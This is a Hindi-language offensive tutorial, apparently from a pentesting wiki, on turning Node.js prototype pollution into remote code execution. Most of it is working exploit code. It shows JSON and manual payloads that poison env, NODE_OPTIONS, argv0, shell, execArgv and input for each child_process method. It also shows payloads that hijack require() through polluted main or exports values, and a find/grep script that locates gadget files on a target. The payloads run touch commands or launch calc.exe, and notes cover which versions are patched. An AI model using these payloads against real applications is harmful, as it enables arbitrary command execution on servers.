कल्पना करें कि एक असली JS कुछ इस तरह का कोड उपयोग कर रहा है:
const { execSync,fork } =require('child_process');functionisObject(obj) {console.log(typeof obj);returntypeof obj ==='function'||typeof obj ==='object';}// Function vulnerable to prototype pollutionfunctionmerge(target, source) {for (let key in source) {if (isObject(target[key]) &&isObject(source[key])) {merge(target[key], source[key]);} else {target[key] = source[key];}}return target;}functionclone(target) {returnmerge({}, target);}// Run prototype pollution with user input// Check in the next sections what payload put here to execute arbitrary codeclone(USERINPUT);// Spawn process, this will call the gadget that poputales env variables// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`var proc =fork('a_file.js');
PP2RCE via env vars
PP2RCE का मतलब है Prototype Pollution to RCE (Remote Code Execution).
इस writeup के अनुसार जब एक process को child_process से किसी विधि (जैसे fork या spawn या अन्य) के साथ spawn किया जाता है, तो यह विधि normalizeSpawnArguments को कॉल करती है जो नए env vars बनाने के लिए एक prototype pollution gadget है:
Check that code you can see it's possible en poison envPairs just by polluting the attribute .env.
Poisoning __proto__
ध्यान दें कि child_process पुस्तकालय के normalizeSpawnArguments फ़ंक्शन के काम करने के तरीके के कारण, जब कुछ को प्रक्रिया के लिए एक नया env वेरिएबल सेट करने के लिए कॉल किया जाता है, तो आपको बस कुछ भी प्रदूषित करने की आवश्यकता होती है।
उदाहरण के लिए, यदि आप __proto__.avar="valuevar" करते हैं, तो प्रक्रिया एक वेरिएबल के साथ शुरू की जाएगी जिसका नाम avar और मान valuevar होगा।
हालांकि, env वेरिएबल को पहला होने के लिए आपको .env विशेषता को प्रदूषित करना होगा और (केवल कुछ विधियों में) वह वेरिएबल पहला होगा (हमले की अनुमति देता है)।
इसलिए NODE_OPTIONS निम्नलिखित हमले में .env के अंदर नहीं है।
const { execSync,fork } =require('child_process');// Manual Pollutionb = {}b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//"}b.__proto__.NODE_OPTIONS="--require /proc/self/environ"// Trigger gadgetvar proc =fork('./a_file.js');// This should create the file /tmp/pp2rec// Abusing the vulnerable codeUSERINPUT = JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce\\\").toString())//"}}}')
clone(USERINPUT);var proc =fork('a_file.js');// This should create the file /tmp/pp2rec
constructor.prototype को ज़हरीला बनाना
const { execSync,fork } =require('child_process');// Manual Pollutionb = {}b.constructor.prototype.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"}
b.constructor.prototype.NODE_OPTIONS="--require /proc/self/environ"proc =fork('a_file.js');// This should create the file /tmp/pp2rec2// Abusing the vulnerable codeUSERINPUT = JSON.parse('{"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}}}')
clone(USERINPUT);var proc =fork('a_file.js');// This should create the file /tmp/pp2rec2
PP2RCE via env vars + cmdline
पिछले वाले के समान एक पेलोड कुछ परिवर्तनों के साथ इस लेख** में प्रस्तावित किया गया था।** मुख्य अंतर हैं:
payload को फ़ाइल /proc/self/environ के अंदर स्टोर करने के बजाय, इसे /proc/self/cmdline के argv0 के अंदर स्टोर किया जाता है।
फिर, NODE_OPTIONS के माध्यम से फ़ाइल /proc/self/environ की आवश्यकता के बजाय, यह /proc/self/cmdline की आवश्यकता करता है।
const { execSync,fork } =require('child_process');// Manual Pollutionb = {}b.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"b.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"// Trigger gadgetvar proc =fork('./a_file.js');// This should create the file /tmp/pp2rec2// Abusing the vulnerable codeUSERINPUT = JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}')
clone(USERINPUT);var proc =fork('a_file.js');// This should create the file /tmp/pp2rec
DNS Interaction
निम्नलिखित पेलोड्स का उपयोग करके, NODE_OPTIONS env var का दुरुपयोग करना संभव है जिसे हमने पहले चर्चा की थी और यह पता लगाना कि क्या यह DNS इंटरैक्शन के साथ काम करता है:
इस अनुभाग में हम child_process से प्रत्येक फ़ंक्शन का विश्लेषण करेंगे ताकि कोड निष्पादित किया जा सके और देखें कि क्या हम उस फ़ंक्शन को कोड निष्पादित करने के लिए मजबूर करने के लिए कोई तकनीक का उपयोग कर सकते हैं:
exec exploitation
// environ trick - not working// It's not possible to pollute the .env attr to create a first env var// because options.env is null (not undefined)// cmdline trick - working with small variation// Working after kEmptyObject (fix)const { exec } =require('child_process');p = {}p.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//"p.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"var proc =exec('something');// stdin trick - not working// Not using stdin// Windows// Working after kEmptyObject (fix)const { exec } =require('child_process');p = {}p.__proto__.shell ="\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"var proc =exec('something');
execFile शोषण
```javascript // environ trick - not working // It's not possible to pollute the .en attr to create a first env var
// cmdline trick - working with a big requirement // Working after kEmptyObject (fix) const { execFile } = require('child_process'); p = {} p.proto.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.proto.argv0 = "console.log(require('child_process').execSync('touch /tmp/execFile-cmdline').toString())//" p.proto.NODE_OPTIONS = "--require /proc/self/cmdline" var proc = execFile('/usr/bin/node');
// stdin trick - not working // Not using stdin
// Windows - not working
For **`execFile`** के काम करने के लिए यह **ज़रूरी है कि node** को चलाना पड़े ताकि NODE\_OPTIONS काम कर सकें।\
अगर यह **node** को नहीं चला रहा है, तो आपको यह पता लगाना होगा कि आप **पर्यावरण चर** के साथ जो कुछ भी चल रहा है, उसकी **कार्यवाही को कैसे बदल सकते हैं** और उन्हें सेट करें।
**अन्य** तकनीकें **बिना** इस आवश्यकता के काम करती हैं क्योंकि यह **संभव है** कि **जो चल रहा है** उसे प्रोटोटाइप प्रदूषण के माध्यम से **संशोधित किया जा सके**। (इस मामले में, भले ही आप `.shell` को प्रदूषित कर सकें, आप उस चीज़ को प्रदूषित नहीं कर सकेंगे जो चल रही है)।
</details>
<details>
<summary><code>fork</code> शोषण</summary>
<div data-gb-custom-block data-tag="code" data-overflow='wrap'>
```javascript
// environ trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/fork-environ').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = fork('something');
// cmdline trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
p = {}
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/fork-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = fork('something');
// stdin trick - not working
// Not using stdin
// execArgv trick - working
// Only the fork method has this attribute
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.execPath = "/bin/sh"
b.__proto__.argv0 = "/bin/sh"
b.__proto__.execArgv = ["-c", "touch /tmp/fork-execArgv"]
var proc = fork('./a_file.js');
// Windows
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.execPath = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = fork('./a_file.js');
spawn शोषण
// environ trick - working with small variation (shell and argv0)// NOT working after kEmptyObject (fix) without optionsconst { spawn } =require('child_process');p = {}// If in windows or mac you need to change the following params to the path of ndoep.__proto__.argv0 ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/spawn-environ').toString())//"}p.__proto__.NODE_OPTIONS="--require /proc/self/environ"var proc =spawn('something');//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)// cmdline trick - working with small variation (shell)// NOT working after kEmptyObject (fix) without optionsconst { spawn } =require('child_process');p = {}p.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/spawn-cmdline').toString())//"p.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"var proc =spawn('something');//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)// stdin trick - not working// Not using stdin// Windows// NOT working after require(fix) without optionsconst { spawn } =require('child_process');p = {}p.__proto__.shell ="\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"var proc =spawn('something');//var proc = spawn('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
execFileSync शोषण
// environ trick - working with small variation (shell and argv0)// Working after kEmptyObject (fix)const { execFileSync } =require('child_process');p = {}// If in windows or mac you need to change the following params to the path of ndoep.__proto__.argv0 ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execFileSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS="--require /proc/self/environ"var proc =execFileSync('something');// cmdline trick - working with small variation (shell)// Working after kEmptyObject (fix)const { execFileSync } =require('child_process');p = {}p.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/execFileSync-cmdline').toString())//"p.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"var proc =execFileSync('something');// stdin trick - working// Working after kEmptyObject (fix)const { execFileSync } =require('child_process');p = {}p.__proto__.argv0 ="/usr/bin/vim"p.__proto__.shell ="/usr/bin/vim"p.__proto__.input =':!{touch /tmp/execFileSync-stdin}\n'var proc =execFileSync('something');// Windows// Working after kEmptyObject (fix)const { execSync } =require('child_process');p = {}p.__proto__.shell ="\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"p.__proto__.argv0 ="\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"var proc =execSync('something');
execSync शोषण
// environ trick - working with small variation (shell and argv0)// Working after kEmptyObject (fix)const { execSync } =require('child_process');p = {}// If in windows or mac you need to change the following params to the path of ndoep.__proto__.argv0 ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS="--require /proc/self/environ"var proc =execSync('something');// cmdline trick - working with small variation (shell)// Working after kEmptyObject (fix)const { execSync } =require('child_process');p = {}p.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/execSync-cmdline').toString())//"p.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"var proc =execSync('something');// stdin trick - working// Working after kEmptyObject (fix)const { execSync } =require('child_process');p = {}p.__proto__.argv0 ="/usr/bin/vim"p.__proto__.shell ="/usr/bin/vim"p.__proto__.input =':!{touch /tmp/execSync-stdin}\n'var proc =execSync('something');// Windows// Working after kEmptyObject (fix)const { execSync } =require('child_process');p = {}p.__proto__.shell ="\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"var proc =execSync('something');
spawnSync शोषण
// environ trick - working with small variation (shell and argv0)// NOT working after kEmptyObject (fix) without optionsconst { spawnSync } =require('child_process');p = {}// If in windows or mac you need to change the following params to the path of nodep.__proto__.argv0 ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/spawnSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS="--require /proc/self/environ"var proc =spawnSync('something');//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)// cmdline trick - working with small variation (shell)// NOT working after kEmptyObject (fix) without optionsconst { spawnSync } =require('child_process');p = {}p.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/spawnSync-cmdline').toString())//"p.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"var proc =spawnSync('something');//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)// stdin trick - working// NOT working after kEmptyObject (fix) without optionsconst { spawnSync } =require('child_process');p = {}p.__proto__.argv0 ="/usr/bin/vim"p.__proto__.shell ="/usr/bin/vim"p.__proto__.input =':!{touch /tmp/spawnSync-stdin}\n'var proc =spawnSync('something');//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)// Windows// NOT working after require(fix) without optionsconst { spawnSync } =require('child_process');p = {}p.__proto__.shell ="\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"var proc =spawnSync('something');//var proc = spawnSync('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
फोर्सिंग स्पॉन
पिछले उदाहरणों में आपने देखा कि गेजेट को ट्रिगर करने के लिए एक कार्यक्षमता की आवश्यकता होती है जो spawn को कॉल करती है (कुछ भी निष्पादित करने के लिए उपयोग किए जाने वाले child_process के सभी तरीके इसे कॉल करते हैं)। पिछले उदाहरण में यह कोड का हिस्सा था, लेकिन अगर कोड इसे कॉल नहीं कर रहा है तो क्या होगा।
एक require फ़ाइल पथ को नियंत्रित करना
इस अन्य लेख में उपयोगकर्ता उस फ़ाइल पथ को नियंत्रित कर सकता है जहाँ require निष्पादित होगा। उस परिदृश्य में हमलावर को बस सिस्टम के अंदर एक .js फ़ाइल खोजने की आवश्यकता है जो आयात करने पर एक स्पॉन विधि को निष्पादित करेगी।
आयात करने पर स्पॉन फ़ंक्शन को कॉल करने वाली सामान्य फ़ाइलों के कुछ उदाहरण हैं:
/path/to/npm/scripts/changelog.js
/opt/yarn-v1.22.19/preinstall.js
नीचे और फ़ाइलें खोजें
निम्नलिखित सरल स्क्रिप्ट कॉल के लिए child_process को कोई पैडिंग के बिना खोजेगी (फंक्शंस के अंदर कॉल दिखाने से बचने के लिए):
find/-name"*.js"-typef-execgrep-l"child_process"{} \; 2>/dev/null|whilereadfile_path; dogrep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
done# Note that this way of finding child_process executions just importing might not find valid scripts as functions called in the root containing child_process calls won't be found.
node_modules/node-pty/scripts/publish.js:31:const result = cp.spawn('npm', args, { stdio: 'inherit' });
प्रोटोटाइप प्रदूषण के माध्यम से फ़ाइल पथ सेट करना
पिछली तकनीक की आवश्यकता है कि उपयोगकर्ता उस फ़ाइल का पथ नियंत्रित करता है जिसे आवश्यक किया जा रहा है। लेकिन यह हमेशा सच नहीं है।
हालांकि, यदि कोड प्रोटोटाइप प्रदूषण के बाद एक require को निष्पादित करने जा रहा है, तो भले ही आप पथ को नियंत्रित न करें जो आवश्यक होने जा रहा है, आप प्रोटोटाइप प्रदूषण का दुरुपयोग करके एक अलग पथ को मजबूर कर सकते हैं। इसलिए भले ही कोड की पंक्ति require("./a_file.js") या require("bytes") जैसी हो, यह आपके द्वारा प्रदूषित पैकेज को आवश्यक करेगा।
इसलिए, यदि आपके प्रोटोटाइप प्रदूषण के बाद एक require निष्पादित किया जाता है और कोई spawn फ़ंक्शन नहीं है, तो यह हमला है:
सिस्टम के अंदर एक .js फ़ाइल खोजें जो जब आवश्यक होगी तो child_process का उपयोग करके कुछ निष्पादित करेगी
यदि आप उस प्लेटफ़ॉर्म पर फ़ाइलें अपलोड कर सकते हैं जिसे आप हमला कर रहे हैं, तो आप ऐसी फ़ाइल अपलोड कर सकते हैं
.js फ़ाइल के require लोड को मजबूर करने के लिए पथों को प्रदूषित करें जो child_process के साथ कुछ निष्पादित करेगा
जब child_process निष्पादन फ़ंक्शन को कॉल किया जाता है तो मनमाना कोड निष्पादित करने के लिए पर्यावरण/cmdline को प्रदूषित करें (प्रारंभिक तकनीकों को देखें)
पूर्ण require
यदि किया गया require पूर्ण है (require("bytes")) और पैकेज में package.json फ़ाइल में मुख्य नहीं है, तो आप main विशेषता को प्रदूषित कर सकते हैं और require को एक अलग फ़ाइल निष्पादित करने के लिए बना सकते हैं।
// Create a file called malicious.js in /tmp// Contents of malicious.js in the other tab// Install package bytes (it doesn't have a main in package.json)// npm install bytes// Manual Pollutionb = {}b.__proto__.main ="/tmp/malicious.js"// Trigger gadgetvar proc =require('bytes');// This should execute the file /tmp/malicious.js// The relative path doesn't even need to exist// Abusing the vulnerable codeUSERINPUT = JSON.parse('{"__proto__": {"main": "/tmp/malicious.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_absolute\\\").toString())//"}}')
clone(USERINPUT);var proc =require('bytes');// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
const { fork } =require('child_process');console.log("Hellooo from malicious");fork("anything");
सापेक्ष आवश्यकता - 1
यदि एक सापेक्ष पथ को लोड किया जाता है बजाय एक निरपेक्ष पथ के, तो आप नोड को एक अलग पथ लोड करने के लिए मजबूर कर सकते हैं:
// Create a file called malicious.js in /tmp// Contents of malicious.js in the other tab// Manual Pollutionb = {}b.__proto__.exports = { ".":"./malicious.js" }b.__proto__["1"] ="/tmp"// Trigger gadgetvar proc =require('./relative_path.js');// This should execute the file /tmp/malicious.js// The relative path doesn't even need to exist// Abusing the vulnerable codeUSERINPUT = JSON.parse('{"__proto__": {"exports": {".": "./malicious.js"}, "1": "/tmp", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_exports_1\\\").toString())//"}}')
clone(USERINPUT);var proc =require('./relative_path.js');// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
const { fork } =require('child_process');console.log("Hellooo from malicious");fork('/path/to/anything');
सापेक्ष आवश्यकता - 2
// Create a file called malicious.js in /tmp// Contents of malicious.js in the other tab// Manual Pollutionb = {}b.__proto__.data = {}b.__proto__.data.exports = { ".":"./malicious.js" }b.__proto__.path ="/tmp"b.__proto__.name ="./relative_path.js"//This needs to be the relative path that will be imported in the require// Trigger gadgetvar proc =require('./relative_path.js');// This should execute the file /tmp/malicious.js// The relative path doesn't even need to exist// Abusing the vulnerable codeUSERINPUT = JSON.parse('{"__proto__": {"data": {"exports": {".": "./malicious.js"}}, "path": "/tmp", "name": "./relative_path.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_exports_path\\\").toString())//"}}')
clone(USERINPUT);var proc =require('./relative_path.js');// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
const { fork } =require('child_process');console.log("Hellooo from malicious");fork('/path/to/anything');
कागज़ में https://arxiv.org/pdf/2207.11171.pdf यह भी संकेत दिया गया है कि vm पुस्तकालय के कुछ तरीकों से contextExtensions का नियंत्रण एक गैजेट के रूप में उपयोग किया जा सकता है।
हालांकि, पिछले child_process तरीकों की तरह, इसे नवीनतम संस्करणों में फिक्स किया गया है।
Fixes & Unexpected protections
कृपया ध्यान दें कि प्रोटोटाइप प्रदूषण तब काम करता है जब एक वस्तु का attribute जो एक्सेस किया जा रहा है, undefined है। यदि कोड में उस attribute को set किया गया है, तो आप इसे overwrite नहीं कर पाएंगे।
जून 2022 में इस कमिट से var options एक kEmptyObject है, न कि एक {}। जो प्रोटोटाइप प्रदूषण को options के attributes को RCE प्राप्त करने से प्रभावित होने से रोकता है।
कम से कम v18.4.0 से यह सुरक्षा लागू की गई है, और इसलिए spawn और spawnSyncexploits जो तरीकों को प्रभावित करते थे, अब काम नहीं करते (यदि कोई options का उपयोग नहीं किया गया है!)।
इस कमिट में vm पुस्तकालय के contextExtensions का प्रोटोटाइप प्रदूषण को {} के बजाय kEmptyObject पर सेट करके कुछ हद तक फिक्स किया गया था।